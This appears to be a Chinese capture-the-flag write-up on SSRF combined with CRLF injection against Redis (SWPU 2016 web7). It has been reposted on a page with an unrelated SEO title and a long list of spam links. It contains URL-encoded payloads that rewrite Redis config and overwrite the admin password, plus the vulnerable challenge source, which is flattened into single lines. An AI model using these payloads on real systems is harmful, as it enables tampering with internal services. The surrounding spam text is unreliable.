当前位置: 首页 > news >正文

北京小程序开发平台关键词优化怎么操作

北京小程序开发平台,关键词优化怎么操作,福建有没有网站做鞋子一件代发,网站建设维护费用文章目录 注入原理例题 [SWPU 2016]web7 注入原理 参考文章 应用场景是具有SSRF漏洞,结合CRLF注入 我们以redis数据库为例,当存在SSRF时我们伪造以下请求 http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%…

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

http://www.dt0577.cn/news/47443.html

相关文章:

  • 卫浴建材网站建设优化seo报价
  • 微信网站界面设计专注网络营销推广公司
  • wordpress网站网页加密怎么创建一个网站
  • 域名停靠网站应用大全网络广告投放公司
  • 苏州网站建设软件seo公司后付费
  • 宜昌平台网站建设网络推广公司经营范围
  • 律师怎样做网站百度seo查询收录查询
  • 网站建设一条龙2024年的新闻时事热点论文
  • 服务器维护内容广东seo网络培训
  • 阳江市企业网站优化强强seo博客
  • 著名办公空间设计免费网站seo优化
  • 摄影网站开发的意义网站制作费用一览表
  • 医疗医院网站建设网络营销首先要
  • 长沙网站建设广州疫情防控措施
  • 快速迁移网站西安百度网站快速优化
  • 贵州省建设厅的网站首页营销网站建设价格
  • 网站数据库修改密码要怎么做电商seo是什么
  • 如何做好精准营销seo快速排名百度首页
  • 专业的河南网站建设公司浙江网站推广公司
  • 做sorry动图的网站网站seo专员招聘
  • 在柬埔寨做网站开发2345网址导航官网下载
  • 住房城乡建设委房管局官方网站兰州搜索引擎优化
  • 北京企业网站建设飞沐东莞seo项目优化方法
  • 怎么样做团购网站优化模型数学建模
  • 如何建立公司网站高端建站
  • 做的网站上传到服务器搜索风云榜百度
  • 做网站购买服务器seo技术中心
  • 武汉品牌网站建设公司哪家好百度搜索关键词数据
  • 上海网络平台网站建设上海专业网络推广公司
  • 玉溪做网站建设的公司互联网广告营销方案